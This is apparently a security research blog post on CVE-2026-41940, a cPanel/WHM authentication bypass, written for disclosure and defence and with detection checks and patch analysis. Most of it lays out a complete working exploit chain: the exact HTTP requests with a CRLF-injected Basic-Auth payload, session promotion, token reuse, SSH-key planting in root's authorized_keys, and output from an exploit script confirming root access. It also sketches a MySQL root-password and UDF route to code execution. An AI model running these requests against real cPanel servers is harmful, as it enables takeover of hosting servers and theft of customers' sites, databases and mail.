Six unauthenticated HTTP requests. No credentials. No token guessing. From a fresh internet connection to uid=0(root) on a cPanel server.

That's CVE-2026-41940. The vendor advisory frames it as "an authentication bypass in the login flow" - technically true, and badly understating what you actually get. cPanel's threat model treats "authenticated to WHM as root" as roughly equivalent to "owns the box." Once the bypass succeeds, the rest of the chain is the WHM admin API doing exactly what it was designed to do, on behalf of the wrong person.

watchTowr published an excellent rapid-reaction post within hours of the patch covering the high-level mechanics: a CRLF injection in the session file's pass field gets promoted to top-level session keys when the cache is rewritten. We stood up an unpatched lab to verify the chain end-to-end. And then we kept reading, because the shape of the bug felt structural in a way one writeup couldn't fully capture.

Three things came out of the second pass that aren't in watchTowr's:

  • A line-by-line design flaw: there are two session-write paths, and only one of them is filtered. Someone, at some point, wrote the exact validation that prevents this attack. They installed it on the wrong door.
  • The on-disk lag between injection landing and promotion firing, which is the difference between "this is a bug" and "this is a CVE." Step 2 drops the payload; step 3 turns it into authentication.
  • The trick that makes the chain weaponizable from outside a network you don't already own - needs_auth=0, a single injected key that prevents cpsrvd from rotating the security token mid-bypass.

We also audited the rest of the readable Perl on the running box. 5,484 modules, ~46 MB of source. The April 28 patch touched three of those files. The structural conditions that made this bug useful - a truthy-only auth gate, eight WHM admin handlers hardcoded to root, no HMAC on session state - are unchanged. The patch closes one door. The hallway it opens onto is still there.

The rest of this post is what we found, in the order we found it. Source walk, live chain captured against the lab, the bits watchTowr's writeup didn't surface, and the audit of what the patch didn't fix. The detection PoC at the end runs steps 1-4 and reads the target's version back - enough to verify exposure on a system you own.

Affected versions, for reference: cPanel & WHM prior to 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5, and WP Squared prior to 11.136.1.7. CVSS 9.8. Patched 2026-04-28.

The session subsystem, in three Perl files

The session subsystem is three Perl modules and a couple hundred lines:

  • Cpanel/Session.pm - the writer
  • Cpanel/Session/Load.pm - the reader
  • Cpanel/Session/Encoder.pm - the XOR primitive used to obfuscate the password field
  • Cpanel/Session/Modify.pm - the read-modify-write helper that other cpsrvd handlers call to update an existing session

A normal cPanel session cookie looks like whostmgrsession=:S3SS_NAME,1a2b3c…. The :S3SS_NAME part identifies the session; the ,1a2b3c… is a 16-byte random hex string - the obfuscation secret that XOR-encodes the user's password before it hits disk. The filename on disk is just the colon-prefixed name; the obhex is carried only in the cookie.

Watch what Load.pm does with that obhex:

sub loadSession {
    my ($session) = @_;

    my $ob = get_ob_part( \$session );           # (1) strip ,<obhex> from cookie

    return {} if !is_valid_session_name($session);

    my $session_file  = get_session_file_path($session);
    my $session_cache = $Cpanel::Config::Session::SESSION_DIR . '/cache/' . $session;
    my $session_ref;
    my $mtime;

    # ...

    if ( $session_cache_fh = _open_if_exists_or_warn($session_cache) ) {
        # cache load - JSON
        $session_ref = Cpanel::AdminBin::Serializer::LoadFile($session_cache_fh);
    }

    if ( !keys %$session_ref ) {
        if ( $session_fh = _open_if_exists_or_warn($session_file) ) {
            require Cpanel::Config::LoadConfig;
            $session_ref = Cpanel::Config::LoadConfig::parse_from_filehandle(
                $session_fh,
                delimiter => '=',                # (2) line-oriented k=v parser
            );
        }
    }

    # ...

    my $encoder = $ob && Cpanel::Session::Encoder->new( 'secret' => $ob );

    $session_ref->{'pass'} = $encoder->decode_data( $session_ref->{'pass'} )  # (3)
      if $encoder && length $session_ref->{'pass'};

    return $session_ref;
}

(1) is the obhex split. If the cookie has no ,obhex suffix - and nothing forces it to - $ob is undef. (2) is the raw-file parser when the cache is missing or empty: it splits each line on the first = and stuffs the results into a hash. (3) is the password decoder, gated on $ob being truthy. No obhex → no decode. The pass field round-trips literally.

Session.pm's saveSession is the symmetric writer. Same gate, same behavior:

sub saveSession {
    my ( $session, $session_ref, %options ) = @_;
    # ...
    my $ob = get_ob_part( \$session );
    return 0 if !is_valid_session_name($session);

    my $encoder = $ob && Cpanel::Session::Encoder->new( 'secret' => $ob );

    local $session_ref->{'pass'} = $encoder->encode_data( $session_ref->{'pass'} )
      if $encoder && length $session_ref->{'pass'};
    # ...
}

saveSession then writes the hash to disk as key=value\n lines via Cpanel::Config::FlushConfig::flushConfig. No escaping of \r\n in values.

So far this is the well-understood part of the bug: drop the obhex, write arbitrary bytes (including \r\n) into pass, and they hit the file verbatim. When the file is reloaded with the line parser, the \r\n chars become line separators and any key=value shape inside them lands as new top-level hash keys.

The detail watchTowr did not pull out

Session.pm has a function called filter_sessiondata that exists specifically to prevent this:

sub filter_sessiondata {
    my ($session_ref) = @_;
    no warnings 'uninitialized';

    # Prevent manipulation of other entries in session file
    tr{\r\n=\,}{}d for values %{ $session_ref->{'origin'} };

    # Prevent manipulation of other entries in session file
    tr{\r\n}{}d for @{$session_ref}{ grep { $_ ne 'origin' } keys %{$session_ref} };

    # Cleanup possible directory traversal ( A valid 'pass' may have these chars )
    tr{/}{}d for @{$session_ref}{ grep { exists $session_ref->{$_} } qw(user login_theme theme lang) };
    return $session_ref;
}

Read those comments - "Prevent manipulation of other entries in session file." Someone, at some point, modeled this exact attack and wrote a fix.

So why is there still a CVE in 2026?

filter_sessiondata is called from Cpanel::Session::create (the normal login flow) and from Cpanel::Session::Modify::save (the read-modify-write path). It is not called from saveSession directly. And saveSession is what cpsrvd calls when it processes a Basic-Auth attempt against a preauth session.

There are two write paths. Only one of them is filtered.

This is not a missing-validation bug. This is a missing-validation bug after someone already wrote the validation. They put the right check in the wrong door.

The auth gate

When cpsrvd processes a request, somewhere in its compiled binary it decides whether the session counts as "logged in." The decision logic isn't easy to read in the stripped ELF, but the same check exists verbatim in a sibling consumer that ships as readable Perl - Cpanel/Server/Handlers/OpenIdConnect.pm, line 410:

my $already_logged_in = (
       $session_ref->{'successful_internal_auth_with_timestamp'}
    || $session_ref->{'successful_external_auth_with_timestamp'}
) ? 1 : 0;

Two field names, OR'd, treated as truthy/falsy. No timestamp validation. No HMAC. No freshness check. Set either field to 1 and the OpenID handler thinks you're already logged in. cpsrvd's main auth handler does the same thing. That's the gate the CRLF injection unlocks.

The chain, with on-disk evidence

We exploited an unpatched 11.134.0.19 lab end to end. Here is what each step puts where, in real bytes.

Step 1 - mint a preauth session

POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded

user=invaliduser&pass=NotThePassword

cpsrvd mints a session even though the credentials are wrong:

HTTP/1.1 401 Access Denied
Set-Cookie: whostmgrsession=%3aazhMiplkgx_fq5nm%2cf0ab138978d039bf022415268c9e989f
{"status":0,"message":"see_login_log"}

URL-decoded cookie: :azhMiplkgx_fq5nm,f0ab138978d039bf022415268c9e989f. Note that a 401 still gives you a session.

/var/cpanel/sessions/raw/:azhMiplkgx_fq5nm now contains:

local_ip_address=198.51.100.205
external_validation_token=LRDK8lOize6ADlmq
cp_security_token=/cpsess9509419996
local_port=2087
hulk_registered=0
needs_auth=1
origin_as_string=address=203.0.113.79,app=whostmgrd,method=badpass
port=37551
login_theme=cpanel
ip_address=203.0.113.79
tfa_verified=0

Two things to notice:

  • needs_auth=1, tfa_verified=0 - explicitly not logged in.
  • cp_security_token=/cpsess9509419996 is already issued by cpanel. We don't have to inject one. cpsrvd hands the attacker a real token before authentication completes.

Step 2 - drop a CRLF payload via Authorization: Basic

Same cookie, but without the ,obhex suffix. Add Basic-Auth carrying a password with embedded \r\n:

GET / HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aazhMiplkgx_fq5nm
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9MQ0KdGZhX3ZlcmlmaWVkPTENCnVzZXI9cm9vdA0KaGFzcm9vdD0xDQpuZWVkc19hdXRoPTA=

The base64 decodes to:

root:x\r\nsuccessful_internal_auth_with_timestamp=1\r\ntfa_verified=1\r\nuser=root\r\nhasroot=1\r\nneeds_auth=0

Server replies 307 Moved to /cpsess9509419996/ - the security token cpsrvd issued at step 1, leaked back to us in the Location header for free.

/var/cpanel/sessions/raw/:azhMiplkgx_fq5nm (with cat -A, where ^M is \r):

...
pass=x^M
successful_internal_auth_with_timestamp=1^M
tfa_verified=1^M
user=root^M
hasroot=1^M
needs_auth=0
...

Five physical lines. The pass field, written as one string with embedded \r\n chars, has been emitted as five lines on disk. But the cache JSON still treats it as one big string - the cache was rewritten this round without re-loading, so the promotion to top-level keys hasn't happened yet:

"pass": "x\r\nsuccessful_internal_auth_with_timestamp=1\r\ntfa_verified=1\r\nuser=root\r\nhasroot=1\r\nneeds_auth=0"

The cache and the raw file disagree about what the session is. Step 3 is how the disagreement gets resolved in our favor.

Step 3 - trigger Modify->save

/scripts2/listaccts is a token-required path. We hit it without the /cpsess<token>/ prefix:

GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aazhMiplkgx_fq5nm

cpsrvd's do_token_denied handler invokes Cpanel::Session::Modify->new( $session ), which calls Cpanel::Config::LoadConfig::loadConfig(... '=', ...) - the same line-oriented parser. Each line of the raw file becomes a top-level key. Our injected lines are now real keys in $self->{_data}.

Then Modify::save() runs:

sub save {
    my ($self) = @_;
    Cpanel::Session::filter_sessiondata( $self->{'_data'} );   # too late
    Cpanel::Session::encode_origin( $self->{'_data'} );
    Cpanel::Session::write_session( $self->{'_session'}, $self->{'_fh'}, $self->{'_data'} ) or die ...;
    return $self->_close_session();
}

The filter call is here - but only on values, not keys. Our injected keys (successful_internal_auth_with_timestamp, tfa_verified=1, user=root, hasroot=1, needs_auth=0) survive intact.

write_session then re-emits the raw file and overwrites the JSON cache from the same in-memory hash:

{
  "successful_internal_auth_with_timestamp": "1",
  "tfa_verified": "1",
  "hasroot": "1",
  "user": "root",
  "cp_security_token": "/cpsess9509419996",
  "needs_auth": "0",
  "pass": "x",
  ...
}

Top-level keys, all of them. pass shrank to "x" (the surviving prefix). HTTP response is 401 Token Denied. We don't care - the disk write was the payoff.

The needs_auth=0 detail

We injected needs_auth=0 for a reason that isn't in the watchTowr writeup and that we found by tripping over it in the lab.

cpsrvd's do_token_denied rotates the security token when the session transitions from preauth to authenticated - it generates a fresh /cpsess<10 digits> and overwrites the existing cp_security_token field. That breaks the chain for a remote attacker, because the new token only lives in the cache file on disk. Without SSH access, you can't recover it from outside.

Session.pm::write_session controls the preauth flag:

if ( $session_ref->{'needs_auth'} ) {
    unless ( -e $Cpanel::Config::Session::SESSION_DIR . '/preauth/' . $session ) {
        # create preauth flag file
    }
}
elsif ( -e $Cpanel::Config::Session::SESSION_DIR . '/preauth/' . $session ) {
    # remove preauth flag file
    unlink ...;
}

By injecting needs_auth=0, the Modify::save cycle removes the preauth flag file. cpsrvd's rotation logic checks for that flag and decides "this session was already authenticated, don't rotate." The token cpsrvd handed us at step 2 (visible in the Location header) survives step 3.

This is the missing piece that makes the bypass weaponizable from outside without disk access. Without it, a remote attacker has the auth bypass but no working token to use it with. With it, the chain is purely network.

Step 4 - confirm we are root

GET /cpsess9509419996/json-api/version?api.version=1 HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aazhMiplkgx_fq5nm
HTTP/1.1 200 OK
Content-Type: application/json; charset="utf-8"

{"data":{"version":"11.134.0.19"},"metadata":{"reason":"OK","command":"version","result":1,"version":1}}

cpsrvd accepted the session as a logged-in root. End of bypass.

From auth bypass to root shell

Two more requests turn this into a root shell.

The importsshkey and authorizesshkey WHM admin APIs both ship in Whostmgr/API/1/SSH.pm:

sub importsshkey {
    my ( $args, $metadata ) = @_;
    require Cpanel::SSH;
    my ( $result, $warnings_ar ) = Cpanel::SSH::_importkey( %{$args}, user => 'root' );
    ...
}

sub authorizesshkey {
    my ( $args, $metadata ) = @_;
    require Cpanel::SSH;
    my @result = Cpanel::SSH::_authkey( %{$args}, user => 'root' );
    ...
}

Both hardcode user => 'root'. Whoever calls them - using whatever session - writes to root's ~/.ssh/. This is by design; WHM admin is supposed to be root. The CVE just gives the wrong person the WHM admin session.

GET /cpsess9509419996/json-api/importsshkey?api.version=1
   &name=cve_poc_key
   &key=ssh-ed25519+AAAAC3NzaC1lZDI1NTE5AAAAIBQ2++JSFStoCkvZXmsj/0vLSazfdDQQrTb8aqytMGpc+cve-2026-41940-poc HTTP/1.1

/root/.ssh/cve_poc_key.pub is written.

GET /cpsess9509419996/json-api/authorizesshkey?api.version=1
   &file=cve_poc_key.pub
   &authorize=1 HTTP/1.1

/root/.ssh/authorized_keys gets the key appended.

$ ssh -i cve_poc_key root@target
ROOT_RCE_PROVEN
uid=0(root) gid=0(root) groups=0(root)
Linux lab.example.com 5.14.0-570.12.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 13 06:11:55 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux

Total: six unauthenticated HTTP requests, one SSH login. uid 0.

What the attacker gets

A cPanel server is shared-hosting infrastructure. A typical box has hundreds to low thousands of cPanel accounts on it. From WHM root:

  • Every cPanel account on the host. Every customer's website source, databases, mail, everything they trusted to the hosting provider.
  • Every reseller account.
  • The host itself. Replace cpsrvd with a backdoored copy. Patch the vulnerability while shipping the backdoor. Persistence outlives remediation.
  • Lateral movement primitives that ship with WHM: execute_remote_whmapi1_with_password, create_remote_root_transfer_session, accesshash (legacy long-lived API tokens that aren't cpHulk-rate-limited).
  • 679 admin APIs are accessible to the bypassed session. We counted 120 of them as RCE-class on first pass.

If the host belongs to a hosting provider, multiply by the size of their cPanel fleet.

Four frictions we tripped on

The source-level walkthrough makes the chain look frictionless. The lab made it less so. Four things mattered when the requests went over a real network:

  • Most cPanel boxes don't expose WHM directly. Port 2087 is the obvious surface and the obvious thing to firewall. Shared-hosting providers typically restrict it at the network edge - IP allowlists at the cloud firewall, .htaccess rules on a reverse-proxy that fronts the admin interface as /whm under the main domain, or cPHulk's host-access controls. The bypass works against any cpsrvd you can reach. It just doesn't help if you can't reach it. The internet-wide attacker population for this CVE is smaller than "every cPanel install"

    • the relevant population is "every cPanel box whose 2087 is open to the world or fronted by a permissive proxy." Still a lot of boxes. Not all of them.
  • cpHulk, cPanel's brute-force protection, will rate-limit /login/ per source IP. Default thresholds lock a single IP after a small number of failed login attempts. Our chain does one failed login per exploitation; an attacker would need to rotate IPs every ~5 attempts. This does not stop the attack - it slows it. Worth noting: cpHulk does not observe the post-bypass admin-API calls. Once the session is promoted, the WHM API layer treats the request as legitimate root traffic, with no second login event for the brute-force counter to catch.

  • cpsrvd binds the session to source IP. The cookie ip check in login_log returns DEFERRED LOGIN if the cookie's recorded ip_address does not match the current request. Our chain spans four requests; an attacker behind CGNAT or a rotating-egress proxy will see intermittent failures. Fix: stable egress.

  • The licensing check sits between cpsrvd's auth handler and the actual API logic. On an unlicensed install, cpsrvd accepts the bypassed session and routes it correctly, but the API handlers return Cannot Read License File and refuse to do work. On any production cPanel box (i.e., one with a paid or trial license active), this gate is open and the SSH key APIs run.

These are friction, not protection. None of them prevent the bypass; they shape what the attack looks like in the wild.

Detection

Five quick checks on a system you suspect was hit before patching:

  1. Grep /var/cpanel/sessions/cache/ for promoted-injection markers. A cache JSON that has successful_internal_auth_with_timestamp set but pass is suspiciously short (e.g., "pass":"x") is one of ours:

    grep -l '"pass":"x"' /var/cpanel/sessions/cache/* | xargs -r grep -l 'successful_internal_auth_with_timestamp'
    
  2. Grep /var/cpanel/sessions/raw/ for embedded \r in non-origin fields. A legitimate raw file never has \r anywhere except possibly inside the pass field of an obhex-secured session. Multiple physical lines whose values contain \r is the injection footprint.

  3. login_log for the pattern: FAILED LOGIN ... method=badpass followed by repeated DEFERRED LOGIN ... security token missing from the same IP within seconds. This is the bypass walking through steps 1-3.

  4. Grep /root/.ssh/authorized_keys for unfamiliar fingerprints. ssh-keygen -lf /root/.ssh/authorized_keys. Anything you don't recognize, treat as suspect.

  5. Compare mtimes of /var/cpanel/sessions/raw/<id> and /var/cpanel/sessions/cache/<id>. They should be the same per transaction. A raw file substantially newer than its matching cache - or a cache whose pass value contains literal \r\n characters in the JSON string - is a session that was injected but not yet promoted.

Once root, an attacker can clean any of these traces. Best assume that an unpatched box is compromised, rather than that you'll find evidence after the fact.

What the patch did

The April 28 patch lives in three files:

  • Cpanel/Session.pm
  • Cpanel/Session/Load.pm
  • Cpanel/Session/Encoder.pm

The behavior change in saveSession makes the encode step unconditional - when $ob is undefined, instead of writing the password verbatim, the code now wraps it in a 'no-ob:' . hex_encode_only(...) wrapper. Any literal \r\n an attacker tries to embed becomes hex digits inside the wrapper, which the line parser cannot split.

The right fix would have been to call filter_sessiondata from saveSession too - i.e., use the validation that already existed. The patch instead adds parallel validation downstream of the original. Either works.

What the patch didn't fix

After the chain confirmed end-to-end, we ran semgrep and ripgrep across the rest of the readable Perl in /usr/local/cpanel/{Cpanel,Whostmgr} looking for siblings of the same pattern. 5,484 modules, ~46 MB of source, eight rules covering the structural shapes the bug fits into.

The patch on April 28 touched three files: Cpanel/Session.pm, Cpanel/Session/Load.pm, Cpanel/Session/Encoder.pm. Everything else is byte-identical between 11.134.0.19 and 11.134.0.20 - including Cpanel/Session/Modify.pm (the read-modify-write helper that promoted our injected lines to top-level keys), Cpanel/Server/Handlers/OpenIdConnect.pm (where the auth gate lives in readable form), and the WHM API handlers that hardcode user => 'root'.

That means three things didn't change.

The auth gate is the same. successful_internal_auth_with_timestamp or successful_external_auth_with_timestamp - either truthy field flips it. No value validation. No HMAC. No freshness check. Any future CRLF injection, cache poison, or file-write primitive that lands one of those keys into a session file reaches the same root takeover. The patch closes one such primitive. The gate itself still trusts an unsigned top-level key.

The hardcoded-root API surface is the same. We counted eight readable Perl entry points that operate as root regardless of caller identity:

Whostmgr/API/1/SSH.pm           _authkey, _delkey, _genkey, _importkey,
                                _converttoppk, _listkeys
Whostmgr/API/1/LocalMySQL.pm    setmysqlpasswd  (×2 invocation sites)

CVE-2026-41940 weaponizes the _importkey / _authkey pair. The MySQL pair is a sibling primitive: set the local MySQL root password from a bypassed session, log in to MySQL as root, load a UDF, execute native code as the MySQL service user (root in default cPanel installs). Two API calls, slightly noisier on disk, same end state. The patch doesn't touch it. The blast radius of any future bypass against WHM admin includes both.

There's a footgun in Cpanel/Features/Write.pm that isn't currently exploitable but reads like the next CVE waiting on a careless caller:

foreach my $key ( keys %{$feature_ref} ) {
    $feature_ref->{$key} =~ s/\r\n/\n/g;
    $feature_ref->{$key} =~ s/\r//g;
    $feature_ref->{$key} =~ s/\n+/\n/g;     # collapses, does not remove
}
Cpanel::Config::FlushConfig::flushConfig( $file, $feature_ref, '=', ... );

The author was thinking about CRLF injection - they strip \r and collapse multiple \n into one. They don't remove \n outright. A surviving \n in a value becomes a new top-level record in the on-disk file, which the matching loader at Features/Load.pm:60 will then promote on the next read. We didn't find a public API path that lets an attacker control feature values today - the WHM update_featurelist endpoint hardcodes them to 0 or 1. But any future caller - a feature-rule extension, an addon plugin, a third-party WHM module - that takes free-form input and feeds it through write_featurelist reintroduces the bug class verbatim.

We're not calling that a finding. It isn't one. It's the shape of the finding the next codebase audit will turn up, in a sibling subsystem, with a different field name and a different auth gate to flip. The defense-in-depth fix that closes all of these in one pass is the same thing every session subsystem of this vintage eventually needs: HMAC the session contents on every save with a server-side secret, and reject sessions whose HMAC doesn't verify on load. None of that is in 11.134.0.20.

For defenders running the audit themselves, the eight semgrep rules we wrote (cpanel-conditional-encoder-gate, cpanel-flushconfig-equals, cpanel-load-config-equals, cpanel-truthy-auth-gate, cpanel-api-hardcoded-root, cpanel-savesession-callsite, and two others) are in the research bundle, alongside the captured findings JSON from the run that produced these counts. The high-signal rules fire in single digits across 5,484 modules - six readable callers of saveSession, six =-delimited writers, two encoder-gate sites, one truthy auth gate. They're noisy when broadly defined (the hardcoded-root rule fires twenty times codebase-wide; we narrowed it to Whostmgr/API/ for the count above). All eight are the right shape to find the next instance.

The PoC in action

exploit.py is a single file, stdlib-only, ~250 lines. It implements steps 1-4: hits the target, captures the security token from step 2's redirect, triggers the Modify->save promotion, makes one authenticated WHM API call, and reads the cPanel version back from the response. Exit code 0 if the bypass succeeded, non-zero otherwise.

Against an unpatched 11.134.0.19 lab:

$ python3 exploit.py --target https://198.51.100.205:2087

========================================================================
[step 1] POST /login/?login_only=1 - mint preauth session
========================================================================
  cookie name: whostmgrsession
  session:     :ISAO03oyqjoFz4sQ

========================================================================
[step 2] GET / + Authorization: Basic - drop CRLF payload, capture token
========================================================================
  security token (from 307 Location): /cpsess2772416925

========================================================================
[step 3] GET /scripts2/listaccts - promote injected lines via Modify->save
========================================================================
  HTTP 401 (401 Token Denied is expected; the disk write is the payoff)

========================================================================
[step 4] GET /cpsess2772416925/json-api/version - confirm session is now root
========================================================================
  HTTP 200
  body: {"data":{"version":"11.134.0.19"},"metadata":{"version":1,"result":1,
         "command":"version","reason":"OK"}}

[+] AUTH BYPASS CONFIRMED on https://198.51.100.205:2087
[+] target reports cPanel version: 11.134.0.19
[+] reusable session:
      Cookie: whostmgrsession=%3AISAO03oyqjoFz4sQ
      URL prefix: https://198.51.100.205:2087/cpsess2772416925/

The version string in the final block (11.134.0.19) comes back from the target's WHMAPI as proof that we're authenticated - only a logged-in session can call /json-api/version. The fact that we read it back is the bypass confirmation.

Against the same box after upgrading to 11.134.0.20 (patched):

$ python3 exploit.py --target https://198.51.100.205:2087

========================================================================
[step 1] POST /login/?login_only=1 - mint preauth session
========================================================================
  cookie name: whostmgrsession
  session:     :AC4qiwLqbMqH2N0F

========================================================================
[step 2] GET / + Authorization: Basic - drop CRLF payload, capture token
========================================================================
  security token (from 307 Location): /cpsess2509630342

========================================================================
[step 3] GET /scripts2/listaccts - promote injected lines via Modify->save
========================================================================
  HTTP 401 (401 Token Denied is expected; the disk write is the payoff)

========================================================================
[step 4] GET /cpsess2509630342/json-api/version - confirm session is now root
========================================================================
  HTTP 403
  body: {"cpanelresult":{"apiversion":"2","error":"Access denied",
         "data":{"reason":"Access denied","result":"0"},"type":"text"}}

[-] step 4 did not confirm authentication. Target may be patched.

Steps 1-3 still succeed on the patched build - the requests are still accepted, the session cookie is still issued, the security token still leaks back. Step 4 fails because the patch hex-encodes the pass field when $ob is undef ('no-ob:' . hex_encode_only(...)). The \r\n in our payload becomes hex digits inside the wrapper. When Modify->save reloads the raw file with the line parser, there are no extra newlines to split on - no promotion happens - successful_internal_auth_with_- timestamp never lands as a top-level key - cpsrvd's auth handler sees the session as still preauth and answers 403.

That's what the patch buys you, end to end. exploit.py runs steps 1-4 and stops at the version readback. Steps 5-6 are documented above.

The four lab notes (01-source-walk.md through 04-rce-chain.md), the audit notes (05-similar-issues-audit.md), the captured artifacts (raw session files, cache JSONs, login_log fragments), and the eight semgrep rules with their captured findings JSON are in the research bundle.

Patch this one. Don't trust it's the only one.

Patch your boxes. If you run a cPanel fleet, audit /var/cpanel/sessions/cache/ and /root/.ssh/authorized_keys before you do anything else - the patch closes one door, but it doesn't tell you whether someone walked through it before April 28.

The validation that prevents this attack already existed in Session.pm. Someone wrote it. They commented it "Prevent manipulation of other entries in session file." The April 28 patch didn't move that filter to the second writer; it added a parallel hex-encoder downstream and called it good. That works for this CVE. It also leaves the original asymmetry in place - one filter, two writers, an auth gate that trusts an unsigned top-level key, and eight admin handlers hardcoded to root waiting at the other end. The next CRLF-in-pass primitive someone finds in this codebase reaches the same root takeover, against the same gate, with the same handlers waiting.

Patch this one. Audit your sessions. Don't assume it's the only door.


CVE-2026-41940 is tracked at exploit-intel.com/vuln/CVE-2026-41940 . The full lab notes, captured artifacts, semgrep rules, and the version-detection PoC are on GitHub . The EIP MCP server is free at mcp.exploit-intel.com/mcp . cPanel & WHM patched on 2026-04-28 - upgrade if you haven't.